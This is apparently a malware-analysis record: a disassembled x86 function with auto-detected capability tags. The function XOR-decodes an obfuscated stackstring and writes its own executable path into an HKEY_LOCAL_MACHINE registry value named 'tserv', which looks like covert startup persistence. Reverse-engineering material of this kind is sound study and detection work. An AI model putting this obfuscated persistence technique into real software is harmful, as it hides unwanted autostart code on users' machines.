Function at 0x412fc0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Set registry value

Disassembly:
sub esp, 0x174
mov eax, dword [0x4310d8]
mov dword [esp + 0x170], eax
call fcn.00412c90
test eax, eax
jne 0x413260
mov al, 0xf
mov byte [esp + 0x10], al
mov byte [esp + 0x15], al
mov cl, 0xd2
mov al, 0xaf
mov byte [esp + 0xf], cl
mov byte [esp + 0x18], al
mov byte [esp + 0x19], cl
mov dl, 0xbb
mov byte [esp + 0x20], al
mov al, 0xbd
mov cl, 0x36
mov byte [esp + 0x1c], dl
mov byte [esp + 0x21], al
mov byte [esp + 0x27], cl
mov byte [esp + 0x34], dl
mov byte [esp + 0x43], cl
mov cl, 0xdd
mov byte [esp + 0x49], al
mov dl, 0xd8
mov al, 0xe6
mov byte [esp + 0xc], 0xf5
mov byte [esp + 0xd], 0x5c
mov byte [esp + 0xe], 0xf1
mov byte [esp + 0x11], 0x3f
mov byte [esp + 0x12], 0x32
mov byte [esp + 0x13], 0x73
mov byte [esp + 0x14], 0x38
mov byte [esp + 0x16], 0xa3
mov byte [esp + 0x17], 0xce
mov byte [esp + 0x1a], 0x95
mov byte [esp + 0x1b], 0
mov byte [esp + 0x1d], 0x9d
mov byte [esp + 0x1e], 0xed
mov byte [esp + 0x1f], 0xc2
mov byte [esp + 0x22], 0x23
mov byte [esp + 0x23], 0x50
mov byte [esp + 0x24], 0x40
mov byte [esp + 0x25], 0x18
mov byte [esp + 0x26], 0xba
mov byte [esp + 0x28], 0xb0
mov byte [esp + 0x29], 0xed
mov byte [esp + 0x2a], 0x8a
mov byte [esp + 0x2b], 0x5e
mov byte [esp + 0x2c], 0x33
mov byte [esp + 0x2d], 0x92
mov byte [esp + 0x2e], 0x2c
mov byte [esp + 0x2f], 0x10
mov byte [esp + 0x30], 8
mov byte [esp + 0x31], 0xd0
mov byte [esp + 0x32], 0xd3
mov byte [esp + 0x33], 0x30
mov byte [esp + 0x35], 0xc
mov byte [esp + 0x36], 1
mov byte [esp + 0x37], 0xfc
mov byte [esp + 0x38], 0x8b
mov byte [esp + 0x39], dl
mov byte [esp + 0x3c], 0xa6
mov byte [esp + 0x3d], 0x13
mov byte [esp + 0x3e], 0xb7
mov byte [esp + 0x3f], 0x86
mov byte [esp + 0x40], 0x58
mov byte [esp + 0x41], 0x7e
mov byte [esp + 0x42], 0x60
mov byte [esp + 0x44], 0x64
mov byte [esp + 0x45], 0x42
mov byte [esp + 0x46], 0xca
mov byte [esp + 0x47], 0xad
mov byte [esp + 0x48], cl
mov byte [esp + 0x4a], al
mov byte [esp + 0x4b], 0x6f
mov byte [esp + 0x4c], cl
mov byte [esp + 0x4d], 0xe9
mov byte [esp + 0x4e], 0xb1
mov byte [esp + 0x4f], 0x95
mov byte [esp + 0x50], 0xc6
mov byte [esp + 0x51], 0xd3
mov byte [esp + 0x52], 0x47
mov byte [esp + 0x53], 0x3f
mov byte [esp + 0x54], 0x37
mov byte [esp + 0x55], 0x6b
mov byte [esp + 0x56], al
mov byte [esp + 0x5d], al
mov al, 0x7a
mov cl, 0x75
mov byte [esp + 0x5e], al
mov byte [esp + 0x60], al
mov byte [esp + 0x57], cl
mov byte [esp + 0x58], 0xc5
mov byte [esp + 0x59], 0x9f
mov byte [esp + 0x5a], 0xf8
mov byte [esp + 0x5b], 0x3b
mov byte [esp + 0x5c], 0x5d
mov byte [esp + 0x5f], cl
mov byte [esp + 0x61], 0xa3
mov byte [esp + 0x62], 0xba
mov byte [esp + 0x63], 0x5f
mov byte [esp + 0x64], 0xd5
mov byte [esp + 0x65], 0x50
mov byte [esp + 0x66], 0x53
mov byte [esp + 0x67], 0x89
mov byte [esp + 0x68], 0xe5
mov byte [esp + 0x69], dl
xor eax, eax
lea esp, [esp]
mov cl, byte [esp + eax + 0x3c]
mov dl, byte [esp + eax + 0xc]
xor dl, cl
mov cl, byte [esp + eax + 0xd]
mov byte [esp + eax + 0xc], dl
mov dl, byte [esp + eax + 0x3d]
xor cl, dl
mov byte [esp + eax + 0xd], cl
add eax, 2
cmp eax, 0x2e
jl 0x4131b0
push 0x104
lea eax, [esp + 0x70]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x42e3fc
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp]
push edx
push 0xf003f
push 0
lea eax, [esp + 0x18]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x413260
lea ecx, [esp + 0x6c]
push ecx
mov byte [esp + 8], 0x74
mov byte [esp + 9], 0x73
mov byte [esp + 0xa], 0x65
mov byte [esp + 0xb], 0x72
mov byte [esp + 0xc], 0x76
mov byte [esp + 0xd], al
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp]
push eax
lea edx, [esp + 0x70]
push edx
push 1
push 0
lea eax, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x170]
call fcn.00424873
add esp, 0x174
ret